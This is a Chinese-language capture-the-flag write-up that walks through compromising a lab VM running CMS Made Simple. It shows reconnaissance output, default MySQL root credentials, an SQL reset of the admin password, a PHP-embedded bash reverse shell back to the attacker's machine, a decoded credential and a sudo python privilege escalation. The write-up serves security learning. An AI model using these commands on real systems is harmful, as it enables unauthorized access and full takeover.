最近在打vulhub靶场,群里和大佬交流的时候,他告诉我一个Up主,然后我就去看了那个up的视频,跟着他打一些靶场,总比自己随随便便选一个要好。
写wp的初衷是记录自己的不足,也便于自己打完之后总结梳理整体思路,所以我的wp可能废话比较多。有些思路走到后面发现是错的,我也会写出来,不会因此删去那些想法。我觉得在你看到我的wp的时候,看到我的一些错误的思路,我踩过的坑,哪怕他在这个靶机上行不通,但它确实是一个思路。还有我看别人wp知道的新思路,新工具,我也都会记录在我的wp里
网上有大量平铺直述的wp,你打靶机,是为了扩展思路,还是简单的跟着wp做个复现,这个要搞清楚。
废话不多说了,开始吧!
前置准备 老样子,下载资源 在这 ,自己下载好导入虚拟机即可
参考链接
My-cmsms 靶机_匿名用户2的博客-CSDN博客
信息收集 IP 这次的靶机,一打开,就显示了IP,直接拿到IP,不需要扫描啥的了
靶机:192.168.56.102 Kali:192.168.56.101
端口 拿到IP之后,我们要看一下,这个IP开放了哪些服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $ nmap -sTVC 192.168.56.102 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 27:21:9e:b5:39:63:e9:1f:2c:b2:6b:d3:3a:5f:31:7b (RSA) | 256 bf:90:8a:a5:d7:e5:de:89:e6:1a:36:a1:93:40:18:57 (ECDSA) |_ 256 95:1f:32:95:78:08:50:45:cd:8c:7c:71:4a:d4:6c:1c (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Home - My CMS |_http-generator: CMS Made Simple - Copyright (C) 2004-2020. All rights reserved. 3306/tcp open mysql MySQL 8.0.19 |_ssl-date: TLS randomness does not represent time | mysql-info: | Protocol: 10 | Version: 8.0.19 | Thread ID: 13 | Capabilities flags: 65535 | Some Capabilities: LongPassword, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, ODBCClient, FoundRows, Support41Auth, SupportsTransactions, SwitchToSSLAfterHandshake, InteractiveClient, SupportsCompression, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, Speaks41ProtocolOld, ConnectWithDatabase, LongColumnFlag, SupportsLoadDataLocal, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: n\x11!L.d%0v%K=rX\x0FNJta2 |_ Auth Plugin Name: mysql_native_password | ssl-cert: Subject: commonName=MySQL_Server_8.0.19_Auto_Generated_Server_Certificate | Not valid before: 2020-03-25T09:30:14 |_Not valid after: 2030-03-23T09:30:14 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以看到开了三个端口,22-SSH,80-HTTP,3306-MySQL
有搞头的也就是80和3306,一个对外开放了web服务,一个是数据库
80 看以看到这里的web服务是一套CMS,我在看别人WP的时候,看到Kali内置了一个工具可以识别CMS,我之前没用过,码住了!这个工具是 whatweb
1 2 3 4 5 6 7 8 9 $ whatweb http://192.168.56.102 http://192.168.56.102 [200 OK] Apache[2.4.38], CMS-Made-Simple[2.2.13], Cookies[CMSSESSID2a2f83428536], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.56.102], JQuery[1.11.1], MetaGenerator[CMS Made Simple - Copyright (C) 2004-2020. All rights reserved.], Script[text/javascript], Title[Home - My CMS]
可以看到,扫出来的东西还是可以的,扫到了CMS的具体版本(虽然这在web页面也可以看到,但有时候难免会有遗漏的,这个挺方便),我之前都是用物理机的浏览器插件。
拿到一个CMS的时候,首先想到的是,NDay!于是我上网搜索了cmsms的漏洞
看到两个RCE,不过都不适用于这个版本,放弃
然后我又目录扫描 了一波
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 dirb http://192.168.56.102/ ==> DIRECTORY: http://192.168.56.102/admin/ ==> DIRECTORY: http://192.168.56.102/assets/ ==> DIRECTORY: http://192.168.56.102/doc/ ==> DIRECTORY: http://192.168.56.102/lib/ ==> DIRECTORY: http://192.168.56.102/modules/ + http://192.168.56.102/phpinfo.php (CODE:200|SIZE:90278) + http://192.168.56.102/phpmyadmin (CODE:401|SIZE:461) + http://192.168.56.102/server-status (CODE:403|SIZE:279) ==> DIRECTORY: http://192.168.56.102/tmp/ ==> DIRECTORY: http://192.168.56.102/uploads/ ---- Entering directory: http://192.168.56.102/admin/ ---- + http://192.168.56.102/admin/index.php (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.56.102/admin/lang/ ==> DIRECTORY: http://192.168.56.102/admin/plugins/ ==> DIRECTORY: http://192.168.56.102/admin/templates/ ==> DIRECTORY: http://192.168.56.102/admin/themes/ ---- Entering directory: http://192.168.56.102/doc/ ---- + http://192.168.56.102/doc/index.html (CODE:200|SIZE:24) + http://192.168.56.102/doc/robots.txt (CODE:200|SIZE:121) ---- Entering directory: http://192.168.56.102/lib/ ---- ==> DIRECTORY: http://192.168.56.102/lib/assets/ ==> DIRECTORY: http://192.168.56.102/lib/classes/ + http://192.168.56.102/lib/index.html (CODE:200|SIZE:24) ==> DIRECTORY: http://192.168.56.102/lib/jquery/ ==> DIRECTORY: http://192.168.56.102/lib/lang/ ==> DIRECTORY: http://192.168.56.102/lib/phpmailer/ ==> DIRECTORY: http://192.168.56.102/lib/plugins/ ==> DIRECTORY: http://192.168.56.102/lib/smarty/ ==> DIRECTORY: http://192.168.56.102/lib/tasks/
没啥进展
3306 之前打的靶机都是只开放了22和80端口,这台机子开了3306,一看就是MySQL服务,我们直接用默认账号密码连一下,发现连接成功了
1 mysql -h http://192.168.56.102/ -u root -p
然后输入密码:root,发现成功进入
这里我实在是太傻了,一直不知道那个箭头是干啥的,因为我在我的Windows上用mysql几乎都是用的Navicat图形化操作的,只有在学校刚学mysql那阵子用过命令行。
用过Navicat的应该知道,不打分号也是可以执行的,所以我在这里迷糊了好一阵,才想起用;
去结束一句sql
MySQL 先看看有哪些数据库
1 2 3 4 5 6 7 8 9 10 11 show databases; +--------------------+ | Database | +--------------------+ | cmsms_db | | information_schema | | mysql | | performance_schema | | sys | +--------------------+
看这个命名,就大概知道,cmsms_db
是80端口的站点数据库,后面几个都是mysql自带的。
进入cmsms_db
看看有啥表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 use cmsms_db; show tables; +--------------------------------+ | Tables_in_cmsms_db | +--------------------------------+ | cms_additional_users | | cms_additional_users_seq | | cms_admin_bookmarks | | cms_admin_bookmarks_seq | | cms_adminlog | | cms_content | | cms_content_props | | cms_content_props_seq | | cms_content_seq | | cms_event_handler_seq | | cms_event_handlers | | cms_events | | cms_events_seq | | cms_group_perms | | cms_group_perms_seq | | cms_groups | | cms_groups_seq | | cms_layout_design_cssassoc | | cms_layout_design_tplassoc | | cms_layout_designs | | cms_layout_stylesheets | | cms_layout_templates | | cms_layout_tpl_addusers | | cms_layout_tpl_categories | | cms_layout_tpl_type | | cms_locks | | cms_mod_cmsjobmgr | | cms_mod_filepicker_profiles | | cms_module_deps | | cms_module_news | | cms_module_news_categories | | cms_module_news_categories_seq | | cms_module_news_fielddefs | | cms_module_news_fieldvals | | cms_module_news_seq | | cms_module_search_index | | cms_module_search_items | | cms_module_search_items_seq | | cms_module_search_words | | cms_module_smarty_plugins | | cms_module_templates | | cms_modules | | cms_permissions | | cms_permissions_seq | | cms_routes | | cms_siteprefs | | cms_user_groups | | cms_userplugins | | cms_userplugins_seq | | cms_userprefs | | cms_users | | cms_users_seq | | cms_version | +--------------------------------+
对 cms_users
产生兴趣,猜测里面存储的是站点的用户信息,拿到之后,可以直接登录站点。
看看这个表里都有啥
1 2 3 4 5 6 7 select * from cms_users; +---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+ | user_id | username | password | admin_access | first_name | last_name | email | active | create_date | modified_date | +---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+ | 1 | admin | fb67c6d24e756229aab021cea7605fb3 | 1 | | | admin@mycms.local | 1 | 2020-03-25 09:38:46 | 2020-03-26 10:49:17 | +---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+
看以看到,只有一个用户admin,账号密码都出来了
密码盲猜md5加密,于是拿去解密了一波,没解出来
加密类型 现在问题来了,有两条路:
解出这个密码,直接登录
改密码,再登录
不管是哪一种,最终都是要知道这个密码的加密方式才行
这里给出两种方式
CMS文档 直接上网搜,因为这是个CMS,可能会有他们的帮助文档(或者其他人遇到过这个问题,解决了之后写博客发到网上),看能不能找到突破
小提示:
如果是国人开发的CMS,首选用中文搜索;外国人开发的CMS首选英文搜索
这很重要!!!因为我最开始用中文根本没搜到
这里给出链接
CMS Made Simple Admin password recovery : : CMS Made Simple - Tutorials, Tips and Tricks - CMSMS
里面给出了三种重置密码的方法,这里我们主要关注数据库这条
照着这个教程把密码改成123456
1 update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'123456'))) where username = 'admin';
代码审计 这里给出另一种思路:代码审计
因为这是个开源的CMS,源码我们是可以下载到的,我们就可以直接下载下来,去看源码,找出密码的加密方式。
我个人代码审计比较菜,没有用这种方法。其实难度不高,B站有大佬的讲解视频用的就是这种方法,感兴趣可以去看看,id叫大福。
Web后台 之前目录扫描扫出来的admin/
,进去之后,直接跳转到admin/login.php
,在这里输入账号密码登录
看以看到,成功登录后台了
文件上传 用户自定义标签 发现左边标签栏有个Extensions
,这引起了我的注意,因为之前在打一个靶机的时候,拿到WordPress的一个后台,最后也是通过扩展
这里是有php的RCE的,我们可以把里面的代码删了换成我们自己的。用php执行反弹shell就行,方法很多,可以直接生成一个php反弹shell的代码,也可以直接用php函数调用系统命令
我这里用php调用系统命令,用bash反弹shell
1 system("bash -c 'bash -i>& /dev/tcp/192.168.56.101/6666 0>&1'");
监听端口——> Submit提交 —-> Run执行
再来看看Kali这边,成功反弹Shell,拿到的是www权限
提权 尝试了内核提权,suid提权都无果
于是翻起了文件,看看有没有什么敏感文件,备份文件啥的
我个人很喜欢上传一个一句话木马,然后用蚁剑连上去,直接图形化找文件,不过这里没有权限创建
最终在/var/www/html/admin
下面发现一个隐藏文件.htpasswd
.htpasswd 查看一下,得到一串字符串,感觉是base64(两个等号)
1 2 3 4 5 TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0= # base64 解密MFZG233VOI5FG2DJMVWGIQBRGIZQ==== # base32 解码armour:Shield@123
为什么后面选择用base32而不是base64?
凭经验猜,但首先你得了解一下常用的加密、编码方式有哪些特征
Base16:结尾没有等号,数字要多于字母;
Base32:字母要多于数字,明文数量超过10个,结尾可能会有很多等号;
Base58:结尾没有等号,字母要多于数字;
Base64:一般情况下结尾都会有1个或者2个等号,明文很少的时候可能没有;
Base85:等号一般出现在字符串中间,含有一些奇怪的字符;
Base100:密文由 Emoji 表情组成。
知道了上面这些特征,你就能大概看出最符合的就是base32了
切换到armour
sudo -l
查看armour用户有没有可以执行的sudo命令
发现不用密码就可以执行python,这不直接用python提权?
python提权 1 sudo python -c 'import pty;pty.spawn("/bin/bash")'
成功提权,拿到flag
总结 整体思路 拿到IP之后,对端口进行扫描,发现22,80,3306端口
80的web页面没有进展,转战3306,通过弱口令拿下数据库
通过mysql操作,修改admin密码(其中主要的是:理清密码的加密方式)
用修改过的admin账号登录web管理后台,拓展那里可以执行php代码
写入反弹shell代码,监听,执行,拿到shell
通过隐藏文件解密.htpasswd
,拿到armour用户的账号密码,切换到该用户
发现该用户可以不使用密码运行python,用python提权成功,拿到flag
收获
重温了一波mysql的命令行操作,很多不熟练,还得再练练,毕竟以后实战环境没有图形化的界面给我操控mysql
CMS往往有类似于“插件”、“扩展”之类的功能,一般支持自定义,可以上传代码片段,容易拿SHELL